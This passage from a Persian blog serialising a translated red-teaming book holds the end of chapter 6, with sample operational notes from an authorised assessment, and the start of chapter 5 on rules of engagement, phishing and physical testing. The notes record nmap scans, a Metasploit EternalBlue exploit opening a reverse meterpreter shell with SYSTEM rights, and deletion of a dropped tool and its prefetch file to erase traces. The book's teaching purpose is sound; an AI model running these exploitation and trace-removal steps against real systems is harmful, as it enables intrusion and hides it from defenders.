<p style="text-align: left;">12:47  PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf</p>
<p style="text-align: left;">12:48  PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf</p>
<p style="text-align: left;">File Not Found</p>
<h3><a name="_Toc144125119"></a>رهاسازی هدف</h3>
<p>حالا که پاکسازی‌های لازم را پس از حضور خودمان انجام دادیم، باید یک ورودی دیگر را در یادداشت‌های عملیاتی درج کنیم که این ورودی مربوط به زمان تکمیل فعالیت ما در هدف است.</p>
<p style="text-align: left;">12:51  PM 8/19/2018 off target</p>
<h2><a name="_Toc144125120"></a>نمونه‌هایی از یادداشت‌های عملیاتی</h2>
<p>در ادامه، یادداشت‌های عملیاتی گردآوری شده در این فصل را مرور می‌کنیم. بدیهی است که هر ارزیاب می‌تواند بخش‌های متفاوتی از خروجی‌های مختلف را به یادداشت‌ها اضافه کند. برای فرمان‌هایی مثل netstat و tasklist که خروجی‌های طولانی دارند، ممکن است مسئول ارزیابی یک برچسب زمانی برای مشخص کردن زمان اجرای فرمان در نظر بگیرد به همراه توضیحاتی در رابطه با یافته‌های غیرعادی. بعلاوه، ممکن است ارزیاب‌ها به اطلاعاتی اشاره کنند که به فعالیت‌های خودشان ارتباط دارند مثل cmd.exe که ارزیاب اجرا کرده و رکورد netstat برای ارتباطات ابزار دسترسی از راه دور.</p>
<p style="text-align: left;"><strong>11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443</strong></p>
<p style="text-align: left;"><strong>192.168.97.0/24</strong></p>
<p style="text-align: left;"><strong>11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128</strong></p>
<p style="text-align: left;">Aggressive OS guesses: Microsoft Windows 10 1703 (92%)</p>
<p style="text-align: left;"><strong>12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-</strong></p>
<p style="text-align: left;"><strong>010 -v 192.168.97.128</strong></p>
<p style="text-align: left;">smb-vuln-ms17-010:</p>
<p style="text-align: left;">VULNERABLE:</p>
<p style="text-align: left;">Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</p>
<p style="text-align: left;">State: VULNERABLE</p>
<p style="text-align: left;">IDs: CVE:CVE-2017-0143</p>
<p style="text-align: left;">Risk factor: HIGH</p>
<p style="text-align: left;">A critical remote code execution vulnerability exists in Microsoft SMBv1</p>
<p style="text-align: left;">servers (ms17-010).</p>
<p style="text-align: left;"><strong>12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) &gt;</strong></p>
<p style="text-align: left;"><strong>exploit against 192.168.97.128 on TCP port 445 with the following payload</strong></p>
<p style="text-align: left;"><strong>option: (windows/x64/meterpreter/reverse_https) and a locally listening</strong></p>
<p style="text-align: left;"><strong>port of 443</strong></p>
<p style="text-align: left;">[+] 192.168.97.128:445 &#8211; ETERNALBLUE overwrite completed successfully</p>
<p style="text-align: left;">(0xC000000D)!</p>
<p style="text-align: left;">[*] Meterpreter session 1 opened (192.168.96.4:443 -&gt; 192.168.97.128:63687)</p>
<p style="text-align: left;"><strong>12:15 PM 8/19/2018 on 192.168.97.128 meterpreter &gt; getuid</strong></p>
<p style="text-align: left;">Server username: NT AUTHORITY\SYSTEM</p>
<p style="text-align: left;"><strong>12:16 PM 8/19/2018 on 192.168.97.128 meterpreter &gt; sysinfo</strong></p>
<p style="text-align: left;">meterpreter &gt; sysinfo</p>
<p style="text-align: left;">Computer : DOVREGUBBEN</p>
<p style="text-align: left;">OS : Windows 10</p>
<p style="text-align: left;">Architecture : x64</p>
<p style="text-align: left;">System Language : en_US</p>
<p style="text-align: left;">Domain : TROLLHOME</p>
<p style="text-align: left;">Logged On Users : 2</p>
<p style="text-align: left;">Meterpreter : x64/windows</p>
<p style="text-align: left;"><strong>12:17 PM 8/19/2018 on 192.168.97.128 meterpreter &gt; shell</strong></p>
<p style="text-align: left;">Process 1775 created.</p>
<p style="text-align: left;"><strong>12:18 PM 8/19/2018 on 192.168.97.128 query user</strong></p>
<p style="text-align: left;">USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME</p>
<p style="text-align: left;">&gt;Administrator console 1 Active none 8/19/2018 12:05 PM</p>
<p style="text-align: left;"><strong>12:20 PM 8/19/2018 on 192.168.97.128 time</strong></p>
<p style="text-align: left;">The current time is: 12:20:22.12</p>
<p style="text-align: left;"><strong>12:23 PM 8/19/2018 on 192.168.97.128 tasklist</strong></p>
<p>آسیب‌پذیر: (حدس تهاجمی سیستم‌عامل: مایکروسافت ویندوز 10 1703 (92 درصد))، اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010)، وضعیت: آسیب‌پذیر، ضریب ریسک: بالا، یک آسیب‌پذیری اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010) وجود دارد.</p>
<table>
<tbody>
<tr>
<td width="132">Image Name</td>
<td width="60">PID</td>
<td width="102">Session Name</td>
<td width="89">Session#</td>
<td width="90">Mem Usage</td>
</tr>
<tr>
<td width="132">System Idle Process</td>
<td width="60">0</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">8 K</td>
</tr>
<tr>
<td width="132">System</td>
<td width="60">4</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">140 K</td>
</tr>
<tr>
<td width="132">Registry</td>
<td width="60">88</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">8,692 K</td>
</tr>
<tr>
<td width="132">smss.exe</td>
<td width="60">328</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">992 K</td>
</tr>
<tr>
<td width="132">csrss.exe</td>
<td width="60">444</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">4,644 K</td>
</tr>
<tr>
<td width="132">csrss.exe</td>
<td width="60">520</td>
<td width="102">Console</td>
<td width="89">1</td>
<td width="90">4,540 K</td>
</tr>
<tr>
<td width="132">wininit.exe</td>
<td width="60">540</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">5,884 K</td>
</tr>
<tr>
<td width="132">winlogon.exe</td>
<td width="60">584</td>
<td width="102">Console</td>
<td width="89">1</td>
<td width="90">9,380 K</td>
</tr>
<tr>
<td width="132">services.exe</td>
<td width="60">656</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">8,472 K</td>
</tr>
<tr>
<td width="132">lsass.exe</td>
<td width="60">672</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">14,968 K</td>
</tr>
<tr>
<td width="132">svchost.exe</td>
<td width="60">792</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">3,556 K</td>
</tr>
<tr>
<td width="132">cmd.exe</td>
<td width="60">1775</td>
<td width="102">Services</td>
<td width="89">0</td>
<td width="90">27,376 K</td>
</tr>
<tr>
<td width="132">dwm.exe</td>
<td width="60">516</td>
<td width="102">Console</td>
<td width="89">1</td>
<td width="90">88,240 K</td>
</tr>
<tr>
<td width="132">tasklist.exe</td>
<td width="60">3688</td>
<td width="102">Console</td>
<td width="89">1</td>
<td width="90">7,476</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano</p>
<p>اتصالات فعال</p>
<table>
<tbody>
<tr>
<td width="66">  Proto</td>
<td width="132">Local Address</td>
<td width="114">Foreign Address</td>
<td width="102">State</td>
<td width="59">PID</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:135</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">980</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:445</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">4</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1536</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">540</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1537</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">1332</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1538</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">1400</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1539</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">672</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1540</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">2660</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1541</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">656</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:1640</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">8428</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">0.0.0.0:5040</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">5480</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">169.254.105.111:139</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">4</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">192.168.97.128:139</td>
<td width="114">0.0.0.0:0</td>
<td width="102">LISTENING</td>
<td width="59">4</td>
</tr>
<tr>
<td width="66">  TCP</td>
<td width="132">192.168.97.128:1719</td>
<td width="114">192.168.96.4:443</td>
<td width="102">ESTABLISHED</td>
<td width="59">3160</td>
</tr>
</tbody>
</table>
<p style="text-align: left;"><strong>12:26 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe</strong></p>
<p style="text-align: left;">8/19/2018 12:25 PM 27,648 nastyknife.exe</p>
<p style="text-align: left;">1 File(s) 27,648 bytes</p>
<p style="text-align: left;"><strong>12:27 PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe</strong></p>
<p style="text-align: left;"><strong>12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe</strong></p>
<p style="text-align: left;"><strong>12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe</strong></p>
<p style="text-align: left;">File Not Found</p>
<p style="text-align: left;"><strong>12:45 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch</strong></p>
<p style="text-align: left;">08/19/2018 12:27 PM 14,645 NASTYKNIFE.pf</p>
<p style="text-align: left;"><strong>12:47 PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf</strong></p>
<p style="text-align: left;"><strong>12:48 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf</strong></p>
<p style="text-align: left;">File Not Found</p>
<p style="text-align: left;"><strong>12:51 PM 8/19/2018 off target</strong></p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> Supervisory control and data acquisition</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> مترجم: فایل‌هایی که هر کاربری در سیستم می‌تواند آنها را اصلاح و دستکاری کند.</p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> root</p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> اشاره به یک مسیر اکتشافی طولانی و پر پیچ و خم با اتصالات و شاخه‌های فراوان</p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> application programming interface</p>
<p><a href="#_ftnref6" name="_ftn6">[6]</a> idle</p>
<p><a href="#_ftnref7" name="_ftn7">[7]</a> suspend-and-restore</p>
<p><a href="#_ftnref8" name="_ftn8">[8]</a> یک نوع مدل سازی از سیستم که مرزهای بین سیستم نرم‌افزاری و محیط آن را به صورت صریح مشخص می‌کند</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-6/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل پنجم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-5/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-5/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Thu, 23 May 2024 10:39:32 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1350</guid>

					<description><![CDATA[فصل پنجم: قوانین تعامل پس از تکمیل مرحله تشکیل محدوده که در آن &#8220;آنچه&#8221; قرار است ارزیابی شود مشخص می‌شود، قوانین تعامل (ROE[1]) &#8220;چگونگی&#8221; انجام...]]></description>
										<content:encoded><![CDATA[<h1>فصل پنجم: قوانین تعامل</h1>
<p>پس از تکمیل مرحله تشکیل محدوده که در آن &#8220;آنچه&#8221; قرار است ارزیابی شود مشخص می‌شود، قوانین تعامل (ROE<a href="#_ftn1" name="_ftnref1">[1]</a>) &#8220;چگونگی&#8221; انجام این کار را تعیین می‌کنند. مشروعیت و قانونی بودن همه اقدامات تیم قرمز در ارزیابی‌ها، بر اساس سند ROE تعیین می‌شود. سند ROE باید به درستی تنظیم شده و مورد توافق قرار گرفته باشد. همچنین باید ارایه دهنده خدمات و مشتری هر دو از آن اطلاع یافته و آن را امضاء کرده باشند. در غیر این صورت، عملیات امنیت تهاجمی که توسط هکرهای اخلاقی انجام می‌شود، نقض قانون کلاهبرداری و سوء استفاده‌های کامپیوتری (<a href="#_ftn2" name="_ftnref2">[2]</a>CFAA) محسوب می‌شود که در آمریکا جزء جرایم فدرال است و در سایر کشورها هم قوانین مشابهی برای مقابله با آن وجود دارد. با این وجود، قرار نیست در این فصل یک مرور کامل از همه جنبه‌های ROE که باید برای یک تست خاص در نظر گرفته شود، انجام دهیم یا الزامات قانونی چنین سندی را به طور کامل بررسی کنیم. در تعریف یک ROE وجود توصیه‌های قانونی ضروری است و هر سازمان مشتری که با یک ROE موافقت می‌کند، باید پیش از امضای آن مشاوره‌های قانونی لازم را انجام دهد.</p>
<p>به غیر از اینکه ROE مبنای قانونی لازم برای اجرای یک تعامل را بدون نقض قوانین ملی، ایالتی یا بین المللی فراهم می‌کند، سه هدف و کاربرد اصلی دارد. اولاً ROE مجوزهای مناسب را برای ارزیاب‌ها فراهم می‌کند تا عملیات را بدون نگرانی از نقض قوانین فدرال پیش ببرند. ارایه دهنده خدمات و تیم ارزیابی هر دو باید نسخه‌هایی از ROE داشته باشند. اگر به هر دلیلی، سازمان مشتری با ارایه دهنده خدمات مشکل پیدا کرده و به دنبال تخریب ROE و متهم کردن ارزیابان باشد، وجود این سند می‌تواند به پیشگیری از ایجاد مشکلات قانونی برای تیم ارزیابی کمک کند. در واقع، شما باید به عنوان ارزیاب برای هر مأموریت، به غیر از نسخه‌ای از ROE که کارفرما دارد، یک نسخه از ROE داشته باشید.</p>
<p>دوماً، همانطور که ROE از فرد ارایه دهنده خدمات حفاظت می‌کند، از سازمان ارایه دهنده خدمات هم حفاظت می‌کند تا به اشتباه در برابر آسیب‌های احتمالی ناشی از این تعامل مسئول تلقی نشود. معمولاً این موضوع برای تیم‌های قرمز درون سازمانی کمتر مشکل ایجاد می‌کند. اما در هر مأموریتی در حوزه امنیت تهاجمی احتمال ایجاد اختلال در خدمات یا دستگاه‌ها وجود دارد و ممکن است این اختلالات برای مشتری هزینه داشته باشند. اگر حین یک عملیات چنین اتفاقات بعیدی رخ دهند، غیرمنطقی است که ارایه دهنده خدمات هزینه این آسیب‌ها را پرداخت کند. این موضوع ما را به آخرین نکته مطرح شده بر می‌گرداند یعنی اینکه ROE از سازمان مشتری هم حفاظت می‌کند.</p>
<p>ROE آسیب‌های ناشی از فعالیت‌های معمولی هکرهای اخلاقی را پوشش نمی‌دهد اما شرایطی را که سهل انگاری فاحش محسوب می‌شوند، مشخص می‌کند. این بند یک عبارت کلی برای پوشش هر فعالیت ناقص یا نادرستی از سمت ارزیاب است که منجر به آسیب رساندن به مشتری شده و می‌تواند موضوعات ساده‌ای مثل عدم حفاظت از داده‌های مشتری تا موضوعات پیچیده‌تری مثل فعالیت‌های هک غافلانه یا غیرعمدی را شامل شود که تأثیرات نامطلوبی بر دارایی‌های سازمانی دارند. مثالی از سهل انگاری‌های فاحش که به راحتی قابل اثبات است، این است که یکی از اعضای تیم قرمز یک نسخه رمزنگاری نشده یا حفاظت نشده از گزارش آسیب پذیری را روی کامپیوتر خودش نگه می‌دارد و بعد این گزارش فاش شده یا یک هکر واقعی از آن استفاده می‌کند. از طرفی، اثبات اینکه اقدامات یک هکر اخلاقی خارج از محدوده تکنیک‌های مناسب بوده و سهل انگاری آشکار محسوب می‌شود، کار بسیار سخت‌تری است. همچنین، ROE توافقنامه‌های محرمانگی بین سازمان‌های ارایه دهنده خدمات و مشتری را مشخص می‌کند تا اعضای تیم ارزیابی از نظر قانونی ملزم باشند که وقتی با هر شخصی خارج از تیم ارزیابی یا سازمان مشتری گفتگو می‌کنند، در رابطه با آسیب پذیری‌های سازمان صحبت نکرده و آنها را فاش نکنند. بعلاوه، ROE الزامات حفاظت از داده‌ای را که از نظر مشتری رعایت آنها حین و پس از اجرای ارزیابی ضروری است مشخص می‌کند.</p>
<h2><a name="_Toc144125094"></a>انواع فعالیت‌ها</h2>
<p>فعالیت‌هایی که یک ROE آنها را برای محدوده یک ارزیابی مجاز می‌دانند، می‌توانند به شدت متنوع باشند. هر نوع از فعالیت‌های امنیت تهاجمی تأثیر خاصی بر شیوه اجرای عملیات تیم قرمز داشته و بنابراین مستلزم در نظر گرفتن ملاحظات متفاوتی در ROE است. ممکن است یک یا چند مورد و یا همه انواع فعالیت‌های ارزیابی زیر در یک مأموریت تیم قرمز وجود داشته باشند:</p>
<ul>
<li>فیزیکی</li>
<li>مهندسی اجتماعی</li>
<li>شبکه خارجی</li>
<li>شبکه داخلی</li>
<li>جابجایی در شبکه</li>
<li>شبکه بی‌سیم</li>
</ul>
<p>ضروری است که فعالیت‌های ارزیابی امنیت تهاجمی بر همین اساس دسته بندی شده و در ROE به این فعالیت‌ها و پارامترهای آنها اشاره شود تا مشتری به صورت صریح نوع فعالیت تیم قرمزی که قرار است اجرا شود را درک کند و این اطمینان فراهم شود که هیچ یک از طرفین غافلگیر نمی‌شوند.</p>
<h3><a name="_Toc144125095"></a>فیزیکی</h3>
<p>فعالیت‌های امنیت تهاجمی فیزیکی هم برای ارزیاب و هم برای مشتری بسیار پرریسک هستند و معمولاً به همین دلیل در مأموریت‌های تیم قرمز وجود ندارند. همچنین با اینکه معمولاً تیم قرمز مایل است که مجاز به هدف گیری فیزیکی تشکیلات باشد اما تیم‌های کمی تخصص حرفه‌ای لازم برای انجام این کار را دارند. اینکه فعالیت فیزیکی در یک ارزیابی، ریسک وارد شدن آسیب واقعی به دارایی‌های سازمانی و حتی جراحت افراد را ایجاد می‌کند باعث شده که توجیه این کار برای بیشتر تعاملات سخت باشد.</p>
<p>فعالیت‌های فیزیکی سه نوع کلی دارند:</p>
<ol>
<li>بدون فناوری</li>
<li>با فناوری کم</li>
<li>با فناوری زیاد</li>
</ol>
<p>مشخص کردن نوع فعالیت‌های فیزیکی مجاز برای تیم قرمز در ROE می‌تواند واقع گرایی برخی از انواع خاص ارزیابی‌ها را افزایش داده و در عین حال ریسک آنها را کاهش داده و بازخوردهای ارزشمندی در اختیار سازمان قرار دهد.</p>
<p>فعالیت‌های فیزیکی بدون فناوری شامل اقداماتی هستند که در آنها ارزیاب برای حمله به سازمان نیاز به استفاده از هیچ ابزار یا لوازم الکترونیکی ندارد. یک نمونه از چنین فعالیت‌هایی، نگاه کردن از پشت سر است که در آن ارزیاب، سعی می‌کند اطلاعاتی را از روی صفحه نمایش دستگاه افراد یا مدارک روی میز آنها به دست آورد یا آنها را حین تایپ کردن یک کد یا رمز عبور تماشا کند. روش بعدی دنبال کردن افراد است که در آن ارزیاب سعی می‌کند افراد مجاز به ورود به یک محوطه امنیتی را دنبال کرده و پشت سر آنها، بدون نیاز به احرازهویت وارد آنجا شود.</p>
<p>سایر اقدامات عمومی‌تری که در این گروه قرار می‌گیرند شامل کارهایی مثل قفل نکردن درها در پایان کار و برگشتن به تشکیلات پس از ساعت کاری است. ممکن است از فعالیت‌های بدون فناوری برای فراهم کردن امکان انجام اقدامات دیگر حین ارزیابی استفاده شود. چنین فعالیت‌هایی، ضعف در رعایت و طراحی سیاست‌ها و رویه‌ها را در سازمان نشان می‌دهند. معمولاً این فعالیت‌ها و سایر فعالیت‌های بدون فناوری ریسک کمی دارند هر چند همگی فعالیت فیزیکی هستند. اما این ریسک بدیهی وجود دارد که وقتی یک سازوکار امنیت فیزیکی غیرفعال نگه داشته می‌شود تا ارزیاب بعداً برگشته و از آن استفاده کند، یک مجرم واقعی از این شرایط به نفع خودش بهره برداری کند. تیم قرمز می‌تواند این ریسک را هم کاهش دهد.</p>
<p>فعالیت‌های فیزیکی با فناوری کمتر به آنهایی گفته می‌شود که به میزان کمی از فناوری استفاده می‌کنند مثل به کار بردن ابزارهایی مانند قفل باز کن یا سایر ابزارهای ساده برای باز کردن درهای تشکیلات، کشوی پرونده‌ها، در خودروها یا سایر مکان‌هایی که ممکن است ابزارهای احرازهویت (مثل کارت پرسنلی یا اطلاعات ارزشمند) در آنجا قرار داشته باشد. اقداماتی مثل قطع سیم‌های سیستم‌های امنیتی برای ارزیابی واکنش سازمان به از دسترس خارج شدن این سیستم‌ها و عبور از حصارها و سایر سازوکارهای امنیتی معیوب هم در این گروه قرار می‌گیرند. حتی ساده‌ترین اقدام در این گروه یعنی استفاده از قفل بازکن هم می‌تواند پیامدهای دائمی بر سازوکار شکست خورده داشته باشد. همین احتمال ایجاد آسیب دائمی در سیستم‌ها و ریسک کلی فعالیت‌هایی با سطح فناوری پایین، باعث شده که جلب رضایت مشتری برای انجام آنها کار سختی باشد. در واقع، مشتریان بسیار کمی نیاز یا تمایل به اجرای چنین فعالیت‌های ارزیابی دارند. بیشتر سازمان‌ها، باور دارند که تهدیدات فیزیکی با سطح فناوری پایین از طریق اعمال قانون و با وجود مجریان قانون به حداقل می‌رسند.</p>
<p>فعالیت‌های فیزیکی با سطح فناوری بالا شامل اجرای حملات الکترونیک به کمک ابزارهایی مثل کی لاگرهای<a href="#_ftn3" name="_ftnref3">[3]</a> فیزیکی، دستگاه‌های شنود صدا و تپ‌های شبکه<a href="#_ftn4" name="_ftnref4">[4]</a> با هدف به دست آوردن اطلاعات و کمک به اجرای عملیات تیم قرمز است. این زیرمجموعه، کلیدهای دسترسی فیزیکی را هم شامل می‌شود که برای مثال می‌توان با آنها از یک سیستم عامل لینوکس فعال روی یک حافظه قابل جابجایی برای بوت کردن یک سیستم ویندوزی با لینوکس، نصب درایو لینوکس و استخراج اعتبارنامه‌های دامنه از این هارد درایو استفاده کرد. چنین اقداماتی در مقایسه با فعالیت‌هایی که سطح فناوری کمی دارند، کم ریسک به نظر می‌رسند. بر خلاف فعالیت‌های بدون فناوری مثل تعقیب کردن افراد که پیروی از سیاست‌ها را ارزیابی می‌کنند، فعالیت‌هایی با سطح فناوری بالا، امکان ارزیابی سیاست‌های امنیت سایبری را فراهم می‌کنند. گرچه اتصال یک کی لاگر سخت‌افزاری به یک پورت USB باز با یک اقدام فیزیکی انجام می‌شود اما در این روش، ارزیابی می‌شود که آیا پیکربندی‌ها یا سیاست‌های امنیتی مربوط به USB آنطور که باید کار می‌کنند یا خیر. به همین صورت، تلاش برای نصب یک ‌هارد درایو ویندوزی روی یک سیستم لینوکسی فعال، سیاست‌ها یا پیکربندی‌های مربوط به رمزنگاری هارد درایو و غیره را ارزیابی می‌کند.</p>
<p>واضح است که همه فعالیت‌های فیزیکی برای بیشتر ارزیابی‌ها مناسب یا قابل اجرا نیستند. با این وجود، تعیین اقدامات بدون فناوری و با سطح فناوری بالا مجاز در ROE ، می‌تواند راهکاری جامع برای ارزیابی سازوکارهای امنیتی مختلف یک سازمان با روش‌هایی باشد که ابزارهای نفوذ سایبری معمولی، آن را انجام نمی‌دهند.</p>
<h3><a name="_Toc144125096"></a>مهندسی اجتماعی</h3>
<p>مفهوم مهندسی اجتماعی کاملاٌ ساده و مشخص است: در این روش مهاجم به دنبال شستشوی ذهنی یا فریب دادن هدف برای ارایه اطلاعات یا انجام کاری است که امکان نفوذ بیشتر به سازمان را فراهم می‌کند. پیاده سازی فعالیت‌های مهندسی اجتماعی در یک فرایند ارزیابی می‌تواند کار بسیار پیچیده‌ای باشد. عامل اصلی پیچیده کننده چنین عملیاتی، اجرای این فرایند از طریق هدف گیری کارمندان سازمان در شبکه‌های اجتماعی، ایمیل، تماس تلفنی، پیامک و غیره است.</p>
<p>سناریوی زیر چالش‌های مربوط به اجرای کارزارهای مهندسی اجتماعی را در ارزیابی‌های تیم قرمز نشان می‌دهد. فرض کنید که شما مجوز تلاش برای فریب دادن کاربران را دریافت کرده‌اید تا از طریق ایمیل‌های مخرب، آنها را تشویق به نصب بدافزار کنید. این فعالیت که به آن فیشینگ گفته می‌شود به شما امکان می‌دهد تا عملکرد سیستم‌های امنیتی میزبان محور، سیستم اسکن یا فیلترینگ ایمیل و رعایت سیاست‌های ایمیلی توسط کاربران را بررسی کنید. شما ایمیل آلوده را به آدرس‌های ایمیلی در دامنه سازمان ارسال می‌کنید که فقط روی دستگاه‌های داخل محوطه سازمان، وجود دارند. همان روز چند بدافزار روی کامپیوترهای سازمان نصب شده و عصر آن روز متوجه می‌شوید که یکی از بدافزارهای شما با دستگاه همراه یکی از کارمندان در تماس است. این دستگاه جزء محدوده ارزیابی نبود و حالا ارزیاب مرتکب جرم شده است.</p>
<p>اتفاقی که افتاده این است که یکی از کاربران این ایمیل کاری را به حساب شخصی خودش فوروارد کرده و بعد از ساعت کاری ایمیل مخرب را روی تلفن همراهش باز کرده است. حالا اگر سازمان سیاست مشخصی بر علیه این رفتار داشته باشد و طبق سیاست‌های سازمان، کاربران سیستم‌ها با ارزیابی امنیتی سیستم‌ها موافقت کرده باشند، تیم ارزیابی مرتکب اشتباهی نشده اما اگر شرایط این طور نباشد، ممکن است برای تیم ارزیابی مشکلات قانونی مهمی ایجاد شود. هنگام تهیه پیش نویس ROE حتماً باید قوانین و دستورالعمل‌های اجرای این کارزارهای شبکه‌های اجتماعی مشخص شده و سیاست‌های سازمانی مربوط به آنها شناسایی شوند. حتی وقتی چنین مقرراتی مشخص شدند، ممکن است در صورت آلوده شدن دستگاه‌های شخصی در اثر اجرای کارزارهای مهندسی اجتماعی، جلب رضایت سازمان برای مقصر دانستن کاربران کار سختی باشد. تیم ارزیابی هم نباید چنین مسئولیتی را بپذیرد.</p>
<p>مهندسی اجتماعی به غیر از آلودگی‌های تصادفی و ناخواسته پیامدهای دیگری هم دارد. روش‌های فیشینگ متنوع هستند. یکی از این روش‌ها به نام &#8220;فیشینگ هدفمند&#8221; یک فرد یا یک گروه کوچک را با مسیرهایی که به طور اختصاصی برای آنها طراحی شده، هدف می‌گیرد. در روش بعدی به نام والینگ<a href="#_ftn5" name="_ftnref5">[5]</a>، افراد قدرتمند در سازمان هدف گرفته می‌شوند مثل مدیران اجرایی یا مدیران ارشد. در همه موارد، احتمال مخالفت شدید با این اقدامات وجود دارد چون در این تکنیک‌ها افراد فریب داده می‌شوند تا یک کار خاص را انجام دهند. اگر کارمندان اجرایی یا مدیران امنیت سایبری در چنین کارزارهایی هدف گرفته شوند، ممکن است این موضوع به حدی روابط تیم قرمز و مشتری را تحت تأثیر قرار دهد که برای کل این عملیات پیامدهای مخربی داشته باشد. هنگام تهیه پیش نویس ROE باید به این حملات مهندسی اجتماعی هم توجه داشت. ممکن است ضروری باشد که برای حفظ اثربخشی ارزیابی، چنین فعالیت‌هایی که مرتبط به مهندسی اجتماعی هستند، اجرا نشوند. حتی محدود کردن این تعاملات به کاربران معمولی هم می‌تواند باعث به وجود آمدن خشم و ناراحتی در سازمان شود و اگر تیم قرمز متشکل از کارمندان درون سازمانی باشد، ممکن است این شرایط باعث خصمانه شدن محیط کار شود.</p>
<p>در یکی از محدود مأموریت‌هایی که مجاز به اجرای حمله مهندسی اجتماعی بودم، عملیات تیم قرمز باعث ناراحتی تعدادی از کارمندان شد و با اینکه این کارزار با موفقیت به پایان رسید اما اجرای حملات مشابه را در آینده توصیه نمی‌کنم. تیم من به عنوان تیم قرمز یک سازمان تجاری بزرگ، مسئولیت اجرای ارزیابی را روی شرکت‌های خریداری شده پیش از نهایی شدن قرارداد برعهده داشت تا سازمان اصلی با خرید شرکت‌های ناامن متحمل بار اقتصادی و ریسک‌های امنیتی جدید نشود. ما از زمان اعلام خبر اکتساب اطلاع داشتیم تا کارمندان سازمان هدف را زودتر از موعد قرارداد هدف بگیریم.</p>
